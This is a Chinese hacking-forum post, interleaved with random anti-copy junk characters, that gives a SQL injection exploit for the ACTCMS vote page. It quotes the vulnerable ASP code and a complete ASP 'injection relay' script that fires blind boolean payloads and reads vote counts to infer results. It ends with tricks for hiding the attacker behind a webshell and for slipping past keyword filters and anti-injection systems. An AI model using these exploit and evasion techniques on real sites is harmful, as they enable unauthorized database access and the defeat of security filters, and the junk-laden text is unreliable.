找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2037|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

% N, o# Y, m. Q3 @3 X0 _看到ninty大牛的blog的一篇文章5 \. k1 Q- r# E# o8 ?3 {" o& V2 c/ ]3 w
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
8 D2 Z$ ]; G  ^" ^8 z- j& c' k关于actcms漏洞的利用  by 3x qq:3818625890 Y+ r- {2 @9 Y; F$ ^- v
转载请注明以上
5 U- b! Q% H) a漏洞文件:0 r; G8 }7 o7 c( s' d
/plus/vote/vote.asp
7 f9 r, R: y1 v/ j: e( i' q代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    * T1 F9 r7 v) h0 Y; D' R3 M8 I

2 V5 s; P6 {" R3 _2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   2 w9 z- l8 e) P, p( B; z

& Q% x3 w, V' r: Q3    response.end   
; U  _1 u# E) L# C) H3 E4 \
$ z: R- D5 p5 y2 l' m6 |9 g$ e) u7 p4    end if    4 `" ?" w% _$ D( r& H$ S

0 X7 ~8 `0 ^0 S. `5    for i=1 to request("voted").count    # _  P) @* I4 y5 i( V
  {' J1 K9 _4 v. ^* q
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    $ ^9 E7 y( j6 _) a

+ j0 q2 s# F  g9 N1 c7    next    9 e$ z* {  P; O3 ]' S- H9 f2 h
0 b  `0 i3 U8 k" B  w
8....    # h: m5 @( l: n" D
# v9 ]" L8 Z& b6 Y2 c( r
9response.Redirect "index.asp?id="&id&""   
" d; {8 O# f% K; H9 W" s投票结束回跳转回index.asp这个投票结果页面2 S5 v! v: a3 E/ F$ t. h. A: ]
如果投票成功票数加1
; L3 B/ ~% v8 R! s. {            失败票数不变7 U, D- }6 I( U9 R4 F
如图:
, H/ h1 b/ q0 `http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" `- \5 v- ^' L  @! P" a( p
: l# P! h* h) p2 d8 w8 ~2009-12-27 13:20. F5 [% m6 Z5 w$ M0 h
0 A5 u$ |7 O& \3 D- a7 Y* x' b  i5 z
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
% x- k$ n, Z, [+ ]: x7 v4 u3 D% d/ Y( R6 x7 S
本帖隐藏的内容需要回复才可以浏览9 W1 O1 s  b) A$ p+ r% u7 m0 x* \
我们用注入中转来实现这个注入具体代码如下:1 e# i' V( u) v# S" ]9 E4 Q
先用寂寞的刺猬大牛的注入中转生成jmget.asp
/ f! X' T; E5 C" T8 s4 Y' Q注入地址:http://localhost/actcms/plus/vote/vote.asp
' H( r: ^  d+ f! I- j- m注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
0 L; A; n& D1 q" }0 P' L+ a
( d) q9 ?; X. m8 g4 T1 e$ R; D然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% & G. @$ w& g* x3 [+ F

8 ?+ z4 l4 i# m$ A% K7 k02JmdcwName=request("jmdcw")
! n  }9 z" F  l0 X: L
; m+ O5 C4 u9 _) Z% S( C. u03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 1 b4 A7 i* `" a- a( V. S/ a) L

4 S  O7 |0 }/ m# C04JmStr="id=1&voted=-1 or 1="&JmdcwName ( [) S  {" M& Q5 `1 ?* y. H
' q- \8 b! w. z/ |$ H: T
05JmStr=URLEncoding(JmStr)
, s5 e  _$ [  L; ~& i9 U8 M/ N3 q) L* }1 W0 B
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"3 G# ^7 w" v, p  r
, X' K/ ~  ^2 t3 }0 h
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
% }) c+ J! n$ ]7 C  R
; N% e) h: b* y0 E# C- b08testurl=testurl & "?" & JmStr
- n  |! e+ f* K7 J: p. U% A* k
7 {6 Z1 C3 `) l# g& F6 U3 t09JMUrl=JMUrl & "?" & JmStr , i/ X; u( h6 Z1 _' n/ c' B
9 b- j" a# |& i: x) F: \+ S  y
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
/ z7 V5 G" m: v5 z% Z5 d
$ C' `: v5 x2 h* I) x11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
- M* O1 l- I- Y8 W  [1 Y/ F6 o
; j  z5 b( s. \5 w9 k12JmCok=replace(JmCok,chr(32),"%20")  
9 d) t6 \7 |! s  G) U( p2 T& O; y+ E8 f) w" j' j6 x, M
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 8 |/ o1 i' g* P# ^* A
! c/ i; s5 F5 M3 l2 W+ E0 z7 |
14  4 ^" `# v6 w! w! R8 q
) X' s5 N) k. B) ~1 r3 X; ~
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 6 z2 E% p1 r% E- D3 a4 m" D
4 s- [5 h: x  T" S" X4 t3 P
16  
9 |. V8 T" d' `; d; _: n# I; e' }* @/ H/ e% c# Q9 W
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录   O/ ?5 C2 u) Z( ^: d

3 F2 `/ A9 _3 s  m9 m18response.write test1&""&test2&""! J& d. |/ c& ?
( a( U. H$ L- c! O( J$ L
19  
8 h$ y6 K) E4 k/ Q, a! ?4 ~. d1 u' p; V# T' c
20if test1=test2 then '如前后记录相等,表示失败 * G% A0 `, s: C$ ]" J

+ ?$ B1 _" {0 b21  response.write "failed"/ d" @4 I' o) L. u3 L9 w- r6 u, N

2 h5 X0 j& y! W! a! |22else
( _% c" v0 @3 ]+ n; W* Y: J/ p0 `; e
23  response.write "succeed": a- q! I" M3 A* ~% |
0 s/ ?' m$ r1 z4 _
24end if  % q" G* M8 Y& h2 z4 Z

2 d, |# h0 }0 B0 b9 O+ c1 q25  
) s% d% N2 p9 _/ d# v- P# @, U  k& P( S
1 H5 @' k- g1 {; u, r/ _4 A26response.write "by 3x"  [* X( s" b+ F7 n% n! {

9 m3 u/ W/ u& U' i( j+ c27  0 D" o- J+ L# [1 r$ B4 C% h+ A1 h
4 P, x, u6 ]4 ~! s- }9 Y  C
28  
1 m7 h5 H$ E, e6 _1 y/ h( T- q2 h/ \9 R3 }2 p2 U: q
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
" N+ }1 X( _8 r+ L- L. a, S' f' F
30Dim Http 9 y: T: z* Q2 B: P
) J4 g* `5 m/ j! i0 d( |
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
9 P* d+ h' T: i1 W& t
& {" L8 T6 t# Y/ P0 Q2 u32With Http
4 r7 H4 B% Q9 q5 B8 K4 D  S0 d, @" H
1 i# x$ c  O. D5 s6 q: @33  + J1 u# H6 W* o8 H& y0 p4 Z- P- r. F
* X( E+ P$ L4 r2 T0 y
34.Open "GET",PostUrl,False( D2 F* B: n: K

8 d$ ?5 M( N7 x4 `35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# _( V$ F/ n( A6 {/ A( w& v! V
5 ]& Y% i3 P# i6 y0 R* D1 ^$ K36.SetRequestHeader "Referer",PostRef ' z, k! b8 G8 e' Q7 |* R

! j$ i! u; S  P37.SetRequestHeader "Cookie",PostCok / @7 N3 T6 i& H+ k0 g+ U4 g3 O
* B6 n" w3 o- s
38.Send ()
* i' }0 J. M' G1 P" z. Y: A) L) A8 m2 k! ]
39PostData = .ResponseBody
3 P: g5 ^5 r& G; h% a8 N2 J% Z2 X
40End With1 b: n0 G3 J# _
: @9 @3 a0 K1 I4 o) u! a6 O
41Set Http = Nothing  T) [& F; @# f4 ~8 U5 ^0 j8 {

) C4 W/ [8 o5 Z$ }9 t. g5 ^42PostData =bytes2BSTR(PostData) $ A/ S: [8 d+ z: G) N0 B1 y8 ?2 b

; N  A9 {; T8 d5 q+ A43End Function7 ^: T. ?9 x3 g% {: V: v
4 }- n0 p3 K5 a; x  K- I
44  ; |! @8 P2 h% z/ V

8 H3 _! l, M& ]5 b; d. r45  2 l6 ]& ?, M7 B* k
+ ?2 D7 d$ T- H6 Z4 P# R+ u( a
46Function bytes2BSTR(vIn)
  F$ M* J9 L& t) C" u5 _% L8 j' Z
47Dim strReturn ' S! |( e! o0 K+ _7 p$ o  C: z
4 i8 f5 Q9 m+ h$ G0 @
48Dim I, ThisCharCode, NextCharCode
# I. Z& ]+ |: Q. A0 K4 d/ |- [1 t% R9 h5 L1 Z) u
49strReturn = """ W4 j2 d+ V) X, q* ?7 |

6 X7 N& O( J: x50For I = 1 To LenB(vIn) 9 N, ^% m1 ]6 z" ?4 l
7 x' P$ f" O0 A( s) C
51ThisCharCode = AscB(MidB(vIn, I, 1)) 4 Y( ^. [$ m- H/ K$ @
' `8 t9 @* x! H& }* ~; M
52If ThisCharCode < &H80 Then- A/ |4 w& B  q1 t2 e" E; @' `
$ ^; d' r0 W; X; P- l+ O1 S& I' u
53strReturn = strReturn & Chr(ThisCharCode)
5 P8 R6 M0 l9 \; r& b
! J4 W. ?4 B7 W6 k6 G/ v54Else
  J8 M2 _8 D, j. P) H2 L. i" O
( G0 Q. E. s6 q55NextCharCode = AscB(MidB(vIn, I + 1, 1)) + A% s+ \$ g1 ~7 f) U+ O$ E7 X

& R, L  @" J8 b$ a) l3 M: C! _# s56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
6 Q6 q% t6 M: Q3 w! H! ?
- o( c0 Q9 ]9 N  {, N9 d9 \9 n5 r57I = I + 1
" Y, N+ I7 y% }. N8 e8 H; M/ ^8 y* Y2 |) _+ j# U* I3 p4 i
58End If- u" h% m# N& \
9 O& R0 N: y! V* y8 @
59Next1 s% |! R' h2 V) {+ t' k9 v

! x' g" P3 Z1 T" e! _6 H60bytes2BSTR = strReturn   f! G5 a8 \( ]. G- V6 ~

6 U8 T6 M. d+ E61End Function8 Z5 }3 c. H5 ]6 F- ^
( M- b/ M0 U9 B  w0 l) V; }
62  
" ~! l4 E9 |, U, p6 }  G6 \% \' r- }
63Function URLEncoding(vstrin)  
4 A2 o. [1 x5 [4 \3 b: r
+ I) `  g& L, w3 e64strReturn=""
4 }8 }/ L0 L2 I$ K. q/ D
& }- w: z& l; J4 \  g& {65Dim i
  \$ `) }7 M7 h. I- Q
8 a1 n  e7 U" }- p1 @/ w66For i=1 To Len(vstrin)
# k, H' q6 h$ r3 o- o2 b! y
& G  x# \2 E# W67ThisChr=Mid(vstrin,i,1) 9 [- _+ F7 n! J) S
0 C1 n# I: ~8 b+ b2 x  J: J2 B0 u4 x
68if Abs(Asc(ThisChr))< &HFF Then7 V% {  A- k4 E
) o5 V8 @* ?6 X. t# E5 c5 P
69strReturn=strReturn & ThisChr . G& D" J* y( N
$ n2 a' @4 h, j) B6 M
70Else
5 }- ~& ^' d' e! a7 F* b7 G" D" F* y/ u5 g  j0 u2 y
71InnerCode=Asc(ThisChr)
( T3 C* Y# M8 ?( V, ?" P! s
# D6 R/ }% j6 ^72If InnerCode<0 Then# P% t) W- B( h* G4 l

+ D* P+ c) ^. L) l" N9 e* u6 A" P73InnerCode=InnerCode + &H10000 , V, X) `# G' M7 [

. B; \1 B0 m" `# S74End If  R) J5 B6 x: ?* K2 m$ |
4 Z& ]+ |- d6 d1 m4 y
75Hight1=(InnerCode And &HFF00) \&HFF - s$ z" I: d! H! K0 S& J, c; b
( n1 I0 l9 J( ~$ B5 r
76Low1=InnerCode And &HFF
6 h1 z+ T0 z! N/ Z$ P; |7 |" y. j: M
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) + P4 f9 ^( r' b: E1 B2 [% r
6 x; [2 j2 g3 t% i! _
78End if
& ?: M9 @) E+ f2 o! Z9 ?4 O/ T8 }+ k" |( j5 A: S
79Next! k$ O, `; ~4 G- H# a: [. \

' s4 y  U# b( n4 d80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 d, Y/ R& x6 r8 _

- j, @* e7 G$ O9 E! P3 y# H81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 8 f$ ^; G7 N" ]7 y

5 r" v9 j, s' N6 M  ^1 ?# P82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
8 _5 T/ v8 e/ ]& D% z# e4 Z# \- Y5 u9 _: W
83URLEncoding=strReturn
, W- ^$ O, `7 o
2 ~8 i* `3 d) Q84End Function
- z' U- ?; [# C) B5 Y, p2 \7 ?4 l3 v% y
85  $ e% \! h5 M2 g# N5 V9 S* u

" A$ J8 S' U2 M# N' u! x86function getSt(body) , L0 l; J7 u4 S3 p" G+ h9 K4 X# C

1 z; w" I9 i' d- ~# Y87  startpot=instr(body,"投票人数:")+len("投票人数:")
# `. ?/ _" O+ ]# Q
- t1 L* b$ x' N88  endpot=instr(startpot,body," ") - R/ Q. `7 ], {0 c& s9 X$ _4 }% ^" k

' J6 B$ u) T3 x4 d89  getSt=mid(body,startpot,endpot-startpot)
. K/ `' q  |  u: O$ R- [# I! A( m) T# i8 F! ]' x0 Y
90end function
1 a/ G3 q0 J) w& r- y. p2 ~& g- P! |% S$ J4 z
91%>/ k6 Q' P$ C" }0 D8 N3 |
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了9 O$ }2 P4 v8 p- V* n
测试下效果:6 `5 a" w7 a+ Y; T8 u
投票成功:8 W) V9 q+ Z# J
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
, ]* {& G; q  o# ]4 J1 V6 S4 [. [3 E' I, i5 W
2009-12-27 13:29
: J/ J' [& v; ]$ ?* g# H9 K投票失败5 @, t" Z+ D* B5 Y$ S1 \. f3 `
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
: P$ k7 V) |# r$ p# x& ?7 X
/ p; |( S, d7 C% v2009-12-27 13:294 A1 A  C! L9 L: V
-------------------------------------------------------------------------------5 f; s( w3 o) z7 ^. d
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以( `$ {$ N# y# p6 ]$ [4 c2 w" ?# t
很抱歉。。。只能用单线程工具去注入。。。。。& m" W5 y9 L' X
所以失败。。。不好意思。。。5 Y5 _8 }/ @' i: i# \% I0 Q
-------------------------------------------------------------------------------3 V. Q+ l$ s. o1 T

/ O2 Z+ H- W4 b; u- d( H注入中转的一些其他应用
) I" d! Y, W0 e6 ^其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了, x7 L7 C' p' ?7 k3 y
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id: v9 `# k2 D2 L, T' d
2.post注入转成get型的注入,方便我们使用工具来跑. ^, u5 i) i; C. D$ N5 Z
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
7 L5 |" }3 k% w. ?' a. S! a: e# B4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过+ W# K( _7 M  E' J1 {

8 N& u: I  n9 Z, Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表